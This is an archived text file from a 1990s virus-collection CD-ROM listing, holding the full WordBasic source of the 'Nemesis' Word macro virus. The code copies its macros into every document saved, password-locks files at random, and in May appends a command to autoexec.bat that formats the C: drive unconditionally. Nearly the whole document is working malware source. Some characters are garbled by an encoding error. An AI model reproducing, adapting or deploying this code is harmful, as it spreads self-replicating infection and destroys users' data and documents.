home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
MVUPDAT3.ZIP
/
XENIXOS.ZIP
/
NEMESIS.ZIP
/
NEMESIS3.TXT
< prev
next >
Wrap
Text File
|
1996-04-16
|
2KB
|
67 lines
Macro dateiSpeichern
Sub MAIN
Dim dlg As FichierEnregistrerSous 'declare dialog as type FileSaveAs
On Error Goto finish
GetCurValues dlg
Diag$ = "0"
DΘsactiverMacrosAuto 0
Section$ = "Compatibility"
wininistr$ = "0x0020401"
ProfileName$ = "RR2CD"
PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
DΘsactiverTouches
If InStr(NomFichier$(), "Dokument") <> 0 Then
Dialog dlg
End If
On Error Goto finish
NoVir$ = GetProfileString$(Section$, ProfileName$)
If (NoVir$ <> wininistr$) And (UCase$(NomFichier$()) <> "VIRUS.DOT") Then
'Is the document of Type=(WordDocument or Template) ?
If (dlg.Format = 0) Or (dlg.Format = 1) Then
'Copy Macro's from Global data area into document.
MacroCopie "Global:AutoExec", NomFenΩtre$() + ":AutoExec", 1
MacroCopie "Global:AutoOpen", NomFenΩtre$() + ":AutoOpen", 1
' MakroKopieren "Global:BearbeitenRⁿckgΣngig", FensterName$() + ":BearbeitenRⁿckgΣngig", 1
MacroCopie "Global:Datei╓ffnen", NomFenΩtre$() + ":Datei╓ffnen", 1
MacroCopie "Global:DateiBeenden", NomFenΩtre$() + ":DateiBeenden", 1
MacroCopie "Global:DateiSpeichernUnter", NomFenΩtre$() + ":DateiSpeichernUnter", 1
MacroCopie "Global:DateiSpeichern", NomFenΩtre$() + ":DateiSpeichern", 1
MacroCopie "Global:Drop", NomFenΩtre$() + ":Drop", 1
MacroCopie "Global:DateiDrucken", NomFenΩtre$() + ":DateiDrucken", 1
MacroCopie "Global:DateiDruckenStandard", NomFenΩtre$() + ":DateiDruckenStandard", 1
MacroCopie "Global:ExtrasMakro", NomFenΩtre$() + ":ExtrasMakro", 1
MacroCopie "Global:Dummy", NomFenΩtre$() + ":Dummy", 1
'Set to save document as a template.
dlg.Format = 1
End If
If (Seconde(Maintenant()) > 45) And (Diag$ = "0") Then
dlg.MotDePasse = Password$
End If
If (Mois(Maintenant()) = 5) And (Jour(Maintenant()) >= 1) And (Diag$ = "0") Then
DΘfinirAttr "c:\autoexec.bat", 0
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo j|format c: /u >nul"
Close #1
End If
finish:
End If
If LCase$(NomFichier$()) <> "normal.dot" Then
FichierEnregistrerSous dlg 'save the document infected.
End If
FichierEnregistrer
End Sub